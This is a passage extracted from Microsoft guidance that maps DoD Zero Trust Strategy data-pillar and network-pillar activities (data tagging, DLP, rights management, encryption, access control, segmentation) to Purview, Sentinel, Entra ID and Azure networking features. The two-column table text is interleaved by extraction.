standardized across the enterprise and incorporated.
Outcome:
- Manual data tagging is expanded to the program/org
levels with specific attributes
Advanced 4.3.4 Automated Data Tagging & Support Pt1 Microsoft Purview Information
DoD organizations use data loss prevention, rights Protection
management, and/or protection solutions to conduct Configure client-side labeling for
recommendations
scanning of data repositories. Standardized tags are applied files and emails created in
to supported data repositories and data types. Unsupported Microsoft Office applications.
data repositories and types are identified. - Autolabeling for Office apps
Outcome: Configure service-side labeling for

- Basic automation begins by scanning data repositories and content stored in Office 365.
applying tags - Autolabeling policy for
SharePoint, OneDrive, and
Exchange
Apply sensitivity labels to

containers: Microsoft Teams sites,
Microsoft 365 Groups, and
SharePoint sites.
- Sensitivity labels for Teams,
Microsoft 365, groups, and
SharePoint sites
To find documents and emails in

your environment, scan it for data
matching values in defined
sensitive information types.
- Data-match sensitive info types
Use document fingerprinting to

find and label content that
matches document templates and
standard forms.
- Document fingerprinting
Microsoft Purview
Register data sources, scan, ingest,
and classify data in the Microsoft
Purview governance portal.
- Data sources in Purview
- Scans and ingestion
- Data classification

Apps
Integrate Purview Information
Protection with Defender for
Cloud Apps to apply sensitivity
labels automatically, enforce
encryption policies, and prevent
data loss.
- Integrate Information Protection
recommendations
- Apply sensitivity labels

- DLP content inspection
Advanced 4.3.5 Automated Data Tagging & Support Pt2 Microsoft Purview Information
Remaining supported data repositories have basic and Protection
extended data tags which are applied using machine Trainable classifiers in Purview
learning and artificial intelligence. Extended data tags are help you recognize content by
applied to existing repositories. Unsupported data using machine learning (ML).
repositories and data types are evaluated for Create and train classifiers with
decommissioning using a risk based methodical approach. human picked and positively
Approved exceptions utilize manual data tagging matched samples.
approaches with data owners and/or custodians to manage - Trainable classifiers
tagging.
Outcomes:
- Full automation of data tagging is completed
- Results of data tagging are fed into ML algorithms.
4.4 Data monitoring and sensing

Microsoft Purview Data Loss Prevention (DLP) policies prevent data from leaving your
organization. You can apply DLP policies to data at rest, in use, and in motion. DLP
policies are enforced where data resides in cloud services, on-premises file shares, also
on Windows and macOS devices.
ﾉ Expand table

recommendations
Target 4.4.1 DLP Enforcement Point Logging and Microsoft Purview Data Loss Prevention
Analysis Create DLP policies in Purview compliance.
DoD Organizations identify data loss prevention Enforce DLP for Microsoft 365 applications,
(DLP) enforcement points such as specific services Windows, and macOS endpoints, also non-
and user endpoints. Using the established DoD Microsoft cloud apps.
Enterprise cybersecurity incident response - Plan for DLP
standard, DoD organizations ensure the - Design DLP policy
appropriate detail of data is captured. Additionally, - Audit log activities
protection, detection, and response use cases are - Office 365 Management Activity API
developed to better outline solution coverage. schema
Outcomes: Microsoft Defender for Cloud Apps

- Enforcement points are identified Integrate Purview Information Protection
recommendations
- Standardized Logging schema is enforced at the with Defender for Cloud Apps to apply
enterprise and org levels sensitivity labels automatically, enforce
encryption policies, and prevent data loss.
Target 4.4.2 DRM Enforcement Point Logging Microsoft Purview Information Protection
and Analysis Purview data rights management (DRM)
DoD Organizations identify data rights enforcement points include Microsoft 365
management (DRM) enforcement points such as and third-party applications and services
specific services and user endpoints. Using the integrated with the Microsoft Information
established DoD Enterprise cybersecurity incident Protection (MIP) SDK, online apps, and rich
response standard, DoD organizations ensure the clients.
appropriate detail of data is captured. Additionally, - Protect sensitive data
protection, detection, and response use cases are - Restrict content access with sensitivity
developed to better outline solution coverage. labels
- MIP SDK
Outcomes: - Encryption in Microsoft 365
- Enforcement points are identified
- Standardized Logging schema is enforced at the Microsoft Defender for Cloud Apps
enterprise and org levels Integrate Purview Information Protection
with Defender for Cloud Apps to apply
sensitivity labels automatically, enforce
Target 4.4.3 File Activity Monitoring Pt1 Microsoft Purview Data Loss Prevention
DoD Organizations utilize File Monitoring tools to DLP alerts appear in Microsoft Defender
monitor the most critical data classification levels in XDR. File activity about creation, labeling,
applications, services, and repositories. Analytics printing, and sharing is in the Unified Audit
from monitoring are fed into the SIEM with basic Log, and in activity explorer in the Microsoft
data attributes to accomplish ZT Target Purview compliance portal.
functionality. - DLP alerts
- Activity explorer
Outcomes: - Export, configure, and view audit log
- Data and files of critical classification are actively records
being monitored
- Basic Integration is in place with monitoring Microsoft Defender XDR and Microsoft
system such as the SIEM Sentinel
Integrate Microsoft Defender XDR with
Sentinel to view and investigate data loss
prevention (DLP) alerts in an enterprise
security incident and event management
(SIEM) system.
recommendations
- Integrate SIEM tools

- Information Protection connector for
Sentinel
- Connect Defender XDR data to Sentinel
- DLP investigations
Target 4.4.4 File Activity Monitoring Pt2 Microsoft Sentinel

DoD Organizations utilize File Monitoring tools to Determine needed sensitivity labels and
monitor all regulatory protected data (e.g., CUI, PII, configure custom Sentinel analytics rules.
PHI, etc.) in applications, services, and repositories. Create an incident when DLP alerts trigger
Extended integration is used to send data to for critical file events. Critical file events
appropriate inter/intra-pillar solutions such as Data include detection of sensitive information,
Loss Prevention, Data Rights policy violations, and other suspicious
Management/Protection and User & Entity activity.
Behavior Analytics. - Custom analytics rules to detect threats
- Threat response with playbooks
Outcomes:
- Data and files of all regulated classifications are
actively being monitored
- Extended integrations are in place as appropriate
to further manage risk
Advanced 4.4.5 Database Activity Monitoring Microsoft Defender for SQL

DoD Organizations procure, implement, and utilize Defender for SQL protects databases in
Database Monitor solutions to monitor all Azure and other clouds.
databases containing regulated data types (CUI, PII, - Defender for SQL
PHI, etc.). Logs and analytics from the database - Security alerts
monitoring solution are fed to the SIEM for
monitoring and response. Analytics are fed into Microsoft Sentinel
cross pillar activities such as "Enterprise Security Connect Microsoft Defender for Cloud, and
Profile" and "Real Time Access" to better direct Microsoft Defender XDR data connectors to
decision making. Sentinel.
- Connected Defender for Cloud alerts to
Outcomes: Sentinel
- Appropriate Database are being actively - Connect Defender XDR to Sentinel
monitored
- Monitoring technology is integrated with Conditional Access
solutions such as SIEM, PDP, and Dynamic Access Require authentication context for sensitive
Control mechanisms SharePoint sites and protect Azure SQL
database sign-in using Conditional Access.
- Sensitivity labels
- Conditional Access with Azure SQL
Database and Azure Synapse Analytics
recommendations
Advanced 4.4.6 Comprehensive Data Activity Microsoft Graph API

Monitoring Use Microsoft Graph activity logs for an
DoD Organizations expand monitoring of data audit trail of requests received by Microsoft
repositories including databases as appropriate Graph service and processed by the tenant.
based on a methodical risk approach. Additional - Activity logs
data attributes to meet the ZT Advanced
functionalities are integrated into the analytics for Microsoft Purview Data Map
additional integrations. Configure Purview Data Map to scan for
sensitive files in the organization’s data
Outcomes: estate.
- Data Activity monitoring mechanisms are - Manage data sources
integrated to provide a unified view of monitoring
across data repositories Microsoft Sentinel
- Appropriate integrations exist with solutions such To integrate with a security information and
as SIEM and PDP event management (SIEM) system,
configure Sentinel data connectors for
Microsoft Defender for Cloud, Microsoft
Defender XDR, and Purview.
Conditional Access
Detections for unusual file access, found by
Microsoft Defender XDR, raise the user risk
level. User risk is a condition in Conditional
Access, the policy decision point (PDP) for
Microsoft Entra ID. Define a Conditional
Access authentication context with the user
risk condition no risk. Protect labeled
SharePoint sites; require Conditional Access
authentication context.
- Risk detections
- Unusual file access
- Authentication context example
4.5 Data encryption and rights management

Microsoft 365 services encrypt data at rest and in transit. Microsoft Purview restricts
access to content according to sensitivity-label encryption policy. Purview accomplishes
the goal with another layer of encryption for email and files.
ﾉ Expand table
recommendations
Target 4.5.1 Implement DRM and Protection Tools Microsoft 365 encryption
Pt1 Microsoft 365 has baseline, volume-level
DoD Organizations procure and implement DRM encryption with the Windows security
and Protection solution(s) as needed following the feature BitLocker and Distributed Key
DoD Enterprise standard and requirements. Newly Manager (DKM).
implemented DRM and protection solution(s) are - Understand encryption
implemented with high risk data repositories using
ZTA target level protections. Microsoft Purview
Use labeling policies to automatically apply
Outcome: more encryption for high-risk data in
- DRM and protection tools are enabled for high- Microsoft 365, based on sensitivity label.
risk data repositories with basic protections - Restrict content access with sensitivity
labels
- Email encryption in Microsoft 365

Integrate Microsoft Purview Information
Protection with Defender for Cloud Apps to
apply sensitivity labels automatically,
enforce encryption policies, and prevent
data loss.
Azure Policy
Use Azure Policy to require a secure
Transport Layer Security (TLS) version,
implement Transparent Data Encryption
(TDE), and require it with customer-
managed keys to encrypt data at rest.
- Azure Policy definitions for Azure SQL
database and SQL Managed Instance
Target 4.5.2 Implement DRM and Protection Tools Azure Key Vault
Pt2 Use Azure Key Vault Managed Hardware
DRM and protection coverage is expanded to cover Security Module (Azure Key Vault HSM) to
all in scope data repositories. Encryption keys are safeguard application cryptographic keys
automatically managed to meet best practices (e.g., using FIPS 140-2 Level 3 Validated
FIPS). Extended data protection attributes are Hardware Security Modules.
implemented based on the environment - Azure Key Vault Managed HSM
classification.
Microsoft Purview Customer Key
Outcome: Microsoft 365 offers a layer of encryption
- DRM and protection tools are enabled for all for your content with Customer Key.
possible repositories - Service encryption
recommendations
Azure Information Protection tenant key

Azure Information Protection supports
Microsoft generated tenant root keys and
bring your own key (BYOK).
- Tenant key
- Double Key Encryption
- BYOK
Target 4.5.3 DRM Enforcement via Data Tags and Microsoft Purview Information Protection
Analytics Pt1 Use labeling policies to apply more
Data rights management (DRM) and protection encryption automatically for high-risk data,
solutions are integrated with basic data tags in Microsoft 365, based on sensitivity label.
defined by the DoD Enterprise standard. Initial data - Restrict content access with sensitivity
repositories are monitored and have protect and labels
response actions enabled. Data at rest is encrypted
in repositories. Microsoft 365 encryption
Microsoft 365 has baseline, volume-level
Outcomes: encryption with BitLocker and Distributed
- Data Tags are integrated with DRM and monitored Key Manager (DKM).
repositories are expanded
- Based on data tags, data is encrypted at rest See Microsoft guidance in 4.5.1.
Advanced 4.5.4 DRM Enforcement via Data Tags Azure encryption

and Analytics Pt2 Azure uses encryption for data at rest and
Extended data repositories are protected with DRM in transit.
and Protection solutions. DoD Organizations - Azure encryption
implement extended data tags applicable to
organizations versus mandated enterprise. Data is Azure Policy
encrypted in extended repositories using additional Enable Azure Policy to secure Azure SQL
tags. databases
Outcomes: See Microsoft guidance 4.5.1.

- All applicable data repositories are protected
using DRM Conditional Access
- Data is encrypted using extended data tags from Use Conditional Access policies for users
the org levels that connect to Azure SQL.
Advanced 4.5.5 DRM Enforcement via Data Tags Microsoft Purview Information Protection
and Analytics Pt3 Use Microsoft Purview Information
DRM and Protection solutions integrate with AI and Protection to classify data, based on
ML tooling for encryption, rights management and sensitive information types, and by
recommendations
protection functions. classifiers trained by machine learning

(ML).
Outcomes:
- Analytics from ML/AI are integrated with DRM to See Microsoft guidance in 4.3.5.
better automate protections
- Encryption protection is integrated with AI/ML Azure Machine Learning
and updated encryption methods are used as Azure Machine Learning and Azure OpenAI
needed Service use the Azure Storage and Azure
Compute services that encrypt data.
- Data encryption
- Azure OpenAI encryption of data at rest
Conditional Access
Define authentication context with Identity
Protection risk signals. Require
authentication context for labeled
SharePoint sites and custom applications.
4.6 Data loss prevention (DLP)

Microsoft Purview Data Loss Prevention (DLP) policies prevent data from leaving your
organization. You can apply DLP policies to data at rest, in use, and in motion. DLP
policies are enforced where data resides in cloud services, on-premises file shares, also
on Windows and macOS devices.
ﾉ Expand table
Target 4.6.1 Implement Enforcement Points Microsoft Purview Data Loss Prevention
Data loss prevention (DLP) solution is deployed Microsoft 365 applications and Windows
to the in-scope enforcement points. DLP endpoints enforce DLP policies. Configure
solution is set to "monitor-only" and/or policies in DLP simulation mode.
"learning" mode limiting impact. DLP solution - Plan for DLP
results are analyzed, and policy is fine tuned to - DLP simulation mode
manage risk to an acceptable level.
Create policies in DLP. Set policy state to test
Outcome: or test with policy tips. Set policy actions to
- Identified enforcement points have DLP tool Audit only or Block with override.
- DLP policy deployment
deployed and set to monitor mode with

standardized logging Onboard Windows 10, 11, and macOS devices
to Endpoint data loss prevention (Endpoint
DLP)
- Endpoint DLP
Deploy Microsoft Purview Information

Protection scanner. Label and enforce DLP
policies for content in on-premises SQL
databases, file shares, network attached
storage (NAS), and SharePoint Server
document libraries.
- DLP on-premises repositories
- Information Protection scanner
Microsoft Purview Data Loss Prevention

Integrate Microsoft Purview Information
Protection with Defender for Cloud Apps to
apply sensitivity labels automatically, enforce
Conditional Access
Control access to Office 365 and other
Microsoft Entra-integrated applications. Use
report-only mode to monitor the outcome
before you enable policies with block access
grant control.
- Build policy
- Report only mode
- Session policies: monitor all
Target 4.6.2 DLP Enforcement via Data Tags Microsoft Purview Data Loss Prevention
and Analytics Pt1 est DLP policy, then change the state to On to
The data loss prevention (DLP) solution is enable Enforcement mode. If you set policy
updated from monitor only mode to prevention actions to Block, user activity that triggers DLP
mode. Basic data tags are utilized for the DLP isn’t allowed.
solution and logging schema is integrated. - Actions in DLP policies
Outcome: Enable just-in-time (JIT) protection to enforce

- Enforcement Points to set to prevent mode Endpoint DLP for files created on offline
integrating the logging schema and manual devices.
tags environment classification. - Offline devices

Enable content inspection in Defender for
Cloud Apps.
- DLP content inspection
Conditional Access
After testing, enable Conditional Access
policies that apply session controls, or use
block access grant control. To avoid tenant
lockout, exclude emergency-access accounts.
- Emergency access accounts
Advanced 4.6.3 DLP Enforcement via Data Tags Microsoft Purview Information Protection
and Analytics Pt2 Define custom sensitive information types.
Data loss prevention (DLP) solution is updated Create labels and data loss prevention policies.
to include extended data tags based on parallel
Automation activities. See Microsoft guidance in 4.1.1.
Outcome:
- Enforcement points have extended data tag
attributes applied for additional prevention
Advanced 4.6.4 DLP Enforcement via Data Tags Microsoft Purview Information Protection
and Analytics Pt3 Use Microsoft Purview Information Protection
Data loss prevention (DLP) solution is to classify data, based on sensitive information
integrated with automated data tagging types and by classifiers trained by machine
techniques to include any missing enforcement learning (ML).
points and tags.
Outcome:
- Automated tagging attributes are integrated
with DLP and resulting metrics are used for ML
4.7 Data access control

Microsoft 365 and Azure Storage services are integrated with Microsoft Entra ID for
identity-based authorization. Microsoft Entra ID supports role-based access control
(RBAC) and attribute-based access control (ABAC).
Microsoft Entra roles and security groups provide organizations role-based access
control. Dynamic security groups use attributes defined on user, group, and device
objects to define membership, based upon rich expressions and rule sets.
Microsoft Entra ID attribute-based access control utilizes custom security attributes,
which are business-specific attributes you can define and assign to Microsoft Entra
objects. Custom security attributes store sensitive information. Access to view, or
modify, custom security attributes is restricted to Attribute Administrator roles.
ﾉ Expand table
Target 4.7.1 Integrate DAAS Access w/ Microsoft Entra ID

SDS Policy Pt1 Implement attribute-based data, assets,
Utilizing the DoD enterprise SDS policy, applications, and services (DAAS) policies with
organizational DAAS policy is developed Microsoft Entra ID with mechanisms like Azure
with intended integration in mind. SDS attribute-based access control (Azure ABAC),
implementation guide is developed by DoD custom security-attribute filtering for applications,
organizations due to environment-specific and dynamic security groups.
nature. - Attribute-based controls
Outcomes: Custom security attributes

- Attribute based fine-grained DAAS policy Define custom security attributes and assign value
is developed w/ enterprise and org level to users. Configure role assignment conditions for
support Azure ABAC, for Azure roles. Currently, this feature
- SDS Integration plan is developed to is in preview for Azure Storage account
support DAAS policy permissions.
- Azure ABAC
- Manage access to custom security attributes
- Manage attributes with delegation
Use custom security attributes for fine-grained

dynamic application authorization. Assign custom
security attributes and use attribute filters (preview)
for applications in Conditional Access policies.
- Manage app custom security attributes
Dynamic security groups

Use dynamic security groups to assign access to
resources that support Microsoft Entra ID groups
to grant permissions. This includes Microsoft 365
role groups, app roles for Microsoft Entra ID
applications, Azure roles, and application
assignments. Conditional Access policies use
dynamic groups and apply authorization levels for
users with various attribute values.
- Dynamic group membership rules
- Emit claims from conditions
Advanced 4.7.2 Integrate DAAS Access w/ Microsoft Graph API

SDS Policy Pt2 Automate the configuration of Conditional Access
DoD Organizations implement the DAAS policies, custom security attributes, dynamic
policy in an automated fashion. security groups, and other Microsoft Entra ID
features using the Microsoft Graph API.
Outcome: - Identity and access APIs
- Attribute based fine-grained DAAS Policy
implemented in an automated fashion
Advanced 4.7.3 Integrate DAAS Access w/ Microsoft Defender for Cloud Apps
SDS Policy Pt3 Integrate Microsoft Purview and Defender for
Newly implemented SDS technology and/or Cloud Apps. Create File Policies to enforce
functionalities are integrated with the DAAS automated processes using cloud provider APIs.
policy in a risk-based fashion. A phased - Integrate Information Protection
approach should be taken during - File policies
implementation to measure results and
adjust accordingly.
Outcomes:
- SDS is integrated with DAAS policy
functionality
- All data in all applications are protected
with attribute based fine-grained DAAS
policy.
Target 4.7.4 Integrate Solution(s) and Microsoft Entra ID

Policy with Enterprise IDP Pt1 Microsoft 365 storage services like SharePoint
DoD Organizations develop an integration Online and OneDrive for Business are integrated
plan using the SDS policy and with Microsoft Entra ID. Configure Azure Storage
technology/functionality with the enterprise services for integration with Microsoft Entra ID for
Identity Provider (IdP) solution. identity-based authorization of requests to Blob,
File, Queue, and Table services.
Outcome: - Microsoft Entra ID
- Integration plan between SDS and - Authorize Azure Storage
authoritative Identity Provider is developed
to support existing DAAS access In the application gallery, integrate more software-
defined storage (SDS) solutions with Microsoft
Entra ID.
- Application gallery
Advanced 4.7.5 Integrate Solution(s) and Complete activities 4.7.1 and 4.7.4.
Policy with Enterprise IDP Pt2
Newly implemented SDS technology and/or
functionalities are integrated with the
Enterprise Identity Provider (IdP) following
the integration plan. Identity attributes
required to meet ZT Target functionalities
are required for integration.
Outcome:
- Complete integration with Enterprise IDP
and SDS tooling to support all attribute
based fine-grained DAAS access
Advanced 4.7.6 Implement SDS Tool and/or Microsoft Purview

integrate with DRM Tool Pt1 Microsoft Purview Information Protection digital
Depending on the need for a Software rights management (DRM) and Microsoft Purview
Defined Storage tool, a new solution is Data Loss Prevention (DLP) features integrate
implemented or an existing solution is natively with Office clients and Microsoft 365
identified meeting the functionality services. Integrations are built-in and don’t require
requirements to be integrated with DLP, more deployment.
DRM/Protection, and ML solutions. - Purview overview
Outcome: Use the Microsoft Information Protection SDK (MIP

- If tooling is needed, ensure there is SDK) to build custom tools to apply labels and
supported integrations with DLP, DRM and protection to files.
ML tooling
Advanced 4.7.7 Implement SDS Tool and/or Microsoft 365 and Microsoft Purview
integrate with DRM Tool Pt2 Microsoft Purview protects Microsoft 365 content
DoD Organizations configure the SDS with data loss prevention (DLP) and data rights
functionality and/or solution to be management (DRM) without more infrastructure.
integrated with the underlying DLP and - Protect sensitive data
DRM/Protection infrastructure as
appropriate. Lower-level integrations
enable more effective protection and
response.
Outcome:
- Integrate SDS infrastructure with existing
DLP and DRM infrastructure
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the network
pillar
Article • 04/12/2024
Introduction
User
Device
Data
Network
5 Network
in the network pillar. To learn more, see Secure networks with Zero Trust for more
information.
5.1 Data flow mapping

The Azure Virtual Network service is a building block in your private network in Azure. In
virtual networks Azure resources communicate with each other, the internet, and on-
premises resources.
When you deploy a multiple hub-and-spoke network topology in Azure, Azure Firewall
handles routing traffic between virtual networks. Also, Azure Firewall Premium includes
security features like Trasport-Layer Security (TLS) inspection, network intrusion,
detection, and prevention system (IDPS), URL filtering, and content filtering.
Azure network tools like Azure Network Watcher and Azure Monitor Network Insights
help you map and visualize network traffic flow. Microsoft Sentinel integration enables
visibility and control over organizational network traffic, with workbooks, automation,
and detection capabilities.
ﾉ Expand table
Target 5.1.1 Define Granular Control Access Azure Firewall Premium

Rules & Policies Pt1 Use Azure Virtual Network and Azure Firewall
The DoD Enterprise working with the Premium to control communication and
Organizations creates granular network access routing between cloud resources, cloud and
rules and policies. Associated Concept of on-premises resources, and the internet. Azure
Operations (ConOps) are developed in Firewall Premium has threat intelligence, threat
alignment with access policies and ensure detection, and intrusion-prevention capabilities
future supportability. Once agreed upon, DoD to secure traffic.
Organizations will implement these access - Segmentation strategy
policies into existing network technologies (e.g., - Route a multi-hub-and-spoke topology
Next Generation Firewalls, Intrusion Prevention - Azure Firewall Premium features
Systems, etc.) to improve initial risk levels.
Use Azure Firewall Policy Analytics to manage
Outcomes: firewall rules, enable visibility into traffic flow,
- Provide Technical Standards and perform detailed analytics on firewall rules.
- Develop Concept of Operations - Azure Firewall Policy Analytics
- Identify Communities of Interest
Azure Private Link
Use Azure Private Link to access Azure platform
as a service (PaaS) over a private endpoint in a
virtual network. Use private endpoints to
secure critical Azure resources solely to virtual
networks. Traffic from virtual network to Azure
remains on the Azure backbone network. It’s
not necessary to expose virtual network to the
public internet to consume Azure PaaS
services.
- Secure networks: PaaS service boundary
- Network security best practices
Network security groups

Enable flow logging on network security
groups (NSGs) to obtain traffic activity.
Visualize activity data in Network Watcher.
- NSG flow logs
Azure Virtual Network Manager

Use Azure Virtual Network Manager for
centralized connectivity and security
configurations for virtual networks across
subscriptions.
- Azure Virtual Network Manager

Azure Firewall Manager is a security
management service for centralized security
policy and route management for cloud-based
security perimeters.
- Azure Firewall Manager
Azure Policy
Use Azure Policy to enforce networking
standards, such as traffic forced tunneling to
Azure Firewall, or other networking appliances.
Prohibit public IPs or enforce secure use of
encryption protocols.
- Definitions for Azure networking services
Azure Monitor
Use Azure Network Watcher and Azure
Monitor Network Insights for a comprehensive
and visual representation of your network.
- Network Watcher
- Network insights
Target 5.1.2 Define Granular Control Access Application security groups

Rules & Policies Pt2 Use application security groups to configure
DoD Organizations utilize data tagging and network security as an extension of application
classification standards to develop data filters structure. Group virtual machines (VMs) and
for API access to the SDN Infrastructure. API define network security policies, based on the
Decision Points are formalized within the SDN groups.
architecture and implemented with non- - Application security groups
mission/task critical applications and services.
Azure service tags
Outcome: Use service tags for Azure VMs and Azure
- Define Data Tagging Filters for API Virtual Networks to restrict network access to
Infrastructure Azure services in use. Azure maintains IP
addresses associated with each tag.
- Azure service tags
Azure Firewall
Azure Firewall Manager is a security
management service for centralized security
policy and route management for cloud-based

security perimeters (firewall, DDoS, WAF). Use
IP groups to manage IP addresses for Azure
Firewall rules.
- Azure Firewall Manager
- IP groups
Azure Virtual Network Manager

Virtual Network Manager is a management
service to group, configure, deploy, view, and
manage virtual networks globally across
subscriptions.
- Common use cases
Azure Network Watcher

Enable Network Watcher to monitor, diagnose,
and view metrics. Enable or disable logs for
Azure infrastructure-as-a-service (IaaS)
resources. Use Network Watcher to monitor
and repair the network health of IaaS products
like VMs, VNets, application gateways, load
balancers, and more.
- Azure Network Watcher
5.2 Software defined networking

Virtual networks are the foundation of private networks in Azure. With a virtual network
(VNet), an organization controls communication between Azure resources and on-
premises. Filter and route traffic, and integrate with other Azure services like Azure
Firewall, Azure Front Door, Azure Application Gateway, Azure VPN Gateway, and Azure
ExpressRoute.
ﾉ Expand table

recommendations
Target 5.2.1 Define SDN APIs Azure Resource Manager

The DoD enterprise works with the Organizations to Deploy and configure Azure networks
define the necessary APIs and other programmatic using Azure Resource Manager (ARM) APIs.
interfaces to enable Software Defined Networking Azure management tools: Azure portal,
(SDN) functionalities. These APIs will enable Azure PowerShell, Azure Command-Line
Authentication Decision Point, Application Delivery Interface (CLI), and templates use the same
Control Proxy, and Segmentation Gateways ARM APIs to authenticate and authorize
recommendations
automation. requests.
- Azure Resource Manager
Outcomes: - Azure REST API references
- SDN APIs are standardized and implemented
- APIs are functional for AuthN Decision Point, App Azure roles
Delivery Control Proxy, and Segmentation Gateways Assign built-in Azure roles for networking
resource management. Follow least-
privilege principles and assign roles just-in-
time (JIT) via PIM.
- Azure built-in roles
Target 5.2.2 Implement SDN Programable Azure networking resources

Infrastructure Secure external access to applications
Following the API standards, requirements, and hosted in a virtual network (VNet) with:
SDN API functionalities, DoD Organizations will Azure Front Door (AFD), Azure Application
implement Software Defined Networking (SDN) Gateway, or Azure Firewall. AFD and
infrastructure to enable automation tasks. Application Gateway have load-balancing
Segmentation Gateways and Authentication and security features for Open Web
Decision Points are integrated into the SDN Application Security Project (OWASP) Top
infrastructure along with output logging into a 10 and bots. You can create custom rules.
standardized repository (e.g., SIEM, Log Analytics) Azure Firewall has threat intelligence
for monitoring and alerting. filtering at Layer 4.
- Cloud native filtering and protection for
Outcomes: known threats
- Implemented Application Delivery Control Proxy - Networkng architecture design
- Established SIEM Logging Activities
- Implemented User Activity Monitoring (UAM) Microsoft Sentinel
- Integrated with Authentication Decision Point Azure Firewall, Application Gateway, ADF,
and Azure Bastion export logs to Sentinel,
or other security information and event
management (SIEM) systems for analysis.
Use connectors in Sentinel or Azure Policy
to enforce this requirement across an
environment.
- Azure Firewall with Sentinel
- Azure Web App Firewall connector to
Sentinel
- Find Sentinel data connectors

Deploy application proxy to publish and
deliver private applications on your on-
premises network. Integrate secure hybrid
access (SHA) partner solutions.
- Application proxy
- Deploy application proxy
recommendations
- SHA partner integrations

Deploy Microsoft Entra ID Protection and
bring sign-in risk signals to Conditional
Access.

Use Defender for Cloud Apps to monitor
risky web application sessions.
- Defender for Cloud Apps
Target 5.2.3 Segment Flows into Control, Azure Resource Manager

Management, and Data Planes Azure Resource Manager is a deployment
Network infrastructure and flows are segmented and management service with a
either physically or logically into control, management layer to create, update, and
management, and data planes. Basic segmentation delete resources in an Azure account.
using IPv6/VLAN approaches is implemented to - Azure control and data planes
better organize traffic across data planes. Analytics - Multitenant control planes
and NetFlow from the updated infrastructure is - Azure operational security
automatically fed into Operations Centers and
analytics tools. Microsoft Sentinel
Connect Azure network infrastructure to
Outcomes: Sentinel. Configure Sentinel data
- IPv6 Segmentation connectors for non-Azure networking
- Enable Automated NetOps Information Reporting solutions. Use custom analytics queries to
- Ensure Configuration Control Across Enterprise trigger Sentinel SOAR automation.
- Integrated with SOAR - Threat response with playbooks
- Detection and response for Azure Firewall
with Logic Apps
Advanced 5.2.4 Network Asset Discovery & Azure Monitor

Optimization Use Azure Monitor network insights to see
DoD Organizations automate network asset a comprehensive visual representation of
discovery through the SDN infrastructure limiting network resources, including topology,
access to devices based on risk based methodical health, and metrics.
approaches. Optimization is conducted based on
the SDN analytics to improve overall performance See Microsoft guidance in 5.1.1.
along with provide necessary approved access to
resources. Microsoft Defender for Cloud
Defender for Cloud discovers and lists an
recommendations
Outcomes: inventory of provisioned resources in

- Technical Refreshment/Technology Evolution Azure, other clouds, and on-premises.
- Provide Optimization/Performance Controls - Multicloud environment
- Manage resource security posture
Advanced 5.2.5 Real-Time Access Decisions Complete activities 5.2.1 - 5.2.4.

SDN Infrastructure utilizes cross Pillar data sources
such as User Activity Monitoring, Entity Activity Microsoft Sentinel
Monitoring, Enterprise Security Profiles and more Detect threats by sending networking logs
for real-time access decisions. Machine learning is to Sentinel for analysis. Use capabilities
used to assist decision making based on advanced such as threat intelligence, advanced-
network analytics (full packet capture, etc.). Policies multistage attack detection, threat hunting,
are consistently implemented across Enterprise and built-in queries. Sentinel automation
using unified access standards. enables operators to block malicious IP
addresses.
Outcomes: - Detect threats with analytics rules
- Analyze SIEM Logs with Analytics Engine to - Azure Firewall connector for Sentinel
Provide Real-Time Policy Access Decisions
- Support Sending Captured Packets, Data/Network Azure Network Watcher
Flows, and other Specific Logs for Analytics Use Azure Network Watcher to capture
- Segment End-to-End Transport Network Flows network traffic to and from virtual
- Audit Security Policies for Consistency across machines (VMs) and Virtual Machine Scale
Enterprise Sets.
- Packet capture

Defender for Cloud assesses compliance
with network security controls prescribed in
frameworks, such as Microsoft Cloud
Security Benchmark, DoD Impact Level 4
(IL4) and IL5, and National Institute of
Standards and Technology (NIST) 800-53
R4/R5.
- Security Control: Network security
Conditional Access
Use Conditional Access insights and
reporting workbook to understand the
effects of organizational Conditional Access
policies.
- Insights and reporting
5.3 Macro segmentation

Azure subscriptions are high-level constructs that separate Azure resources.
Communication between resources in different subscriptions is explicitly provisioned.
Virtual network (VNet) resources in a subscription provide network-level resource
containment. By default, VNets can’t communicate with other VNets. To enable network
communication between VNets, peer them and use Azure Firewall to control and
monitor the traffic.
To learn more, see secure and govern workloads with network-level segmentation.
ﾉ Expand table
Target 5.3.1 Datacenter Macro Segmentation Azure networking

DoD Organizations implement data center Design and implement Azure networking
focused macro-segmentation using traditional services, based on established architectures, like
tiered (web, app, db) and/or service based enterprise-scale landing zones. Segment Azure
architectures. Proxy and/or enforcement virtual networks (VNets) and follow Azure
checks are integrated with the SDN solution(s) network security best practices. Use network
based on device attributes and behavior. security controls as packets cross various VNet
boundaries.
Outcomes: - Best practices for network security
- Log Actions to SIEM - Sovereignty and Azure landing zones
- Establish Proxy/Enforcement Checks of - Network topology and connectivity
Device Attributes, Behavior, and other Data - Networking and connectivity recommendations
- Analyze Activities with Analytics Engine
Deploy Microsoft Entra ID Protection and use
device and risk signals in your Conditional
Access policy set.
See Microsoft guidance 1.3.3 in User and 2.1.4 in

Device.
Microsoft Sentinel
Use connectors to consume logs from Microsoft
Entra ID, networking resources to send to
Sentinel for audit, threat hunting, detection, and
response. Enable User Entity Behavior Analytics
(UEBA) in Sentinel.
See Microsoft guidance in 5.2.2 and 1.6.2 in User.

Integrate Microsoft Defender for Endpoint with
Microsoft Defender for Cloud Apps and block
access to unsanctioned apps.
- Integrate Defender for Cloud Apps with

- Discover and block shadow IT
Target 5.3.2 B/C/P/S Macro segmentation Complete activity 5.3.1.

DoD Organizations implement base, camp,
post, and station macro-segmentation using Microsoft Sentinel
logical network zones limiting lateral Use Azure Firewall to visualize firewall activities,
movement. Proxy and/or enforcement checks detect threats with AI investigation capabilities,
are integrated with the SDN solution(s) based correlate activities, and automate response
on device attributes and behavior. actions.
- Azure Firewall
Outcomes:
- Establish Proxy/Enforcement Checks of
Device Attributes, Behavior, and other Data
- Log Actions to SIEM
- Analyze Activities with Analytics Engine
- Leverage SOAR to Provide RT Policy Access
Decisions
5.4 Micro segmentation

Network security groups (NSGs) and application security groups (ASG) provide network
security micro segmentation for Azure networks. ASGs simplify traffic filtering, based on
application patterns. Deploy multiple applications in the same subnet and isolate traffic
based on the ASGs.
To learn more, see secure and govern workloads with network-level segmentation.
ﾉ Expand table

recommendations
Target 5.4.1 Implement Micro segmentation Complete activity 5.3.1.

DoD Organizations implement Micro-
Segmentation infrastructure into SDN Application security groups
environment enabling basic segmentation of In network security groups (NSGs), you can
service components (e.g., web, app, db), ports, and use application security groups to configure
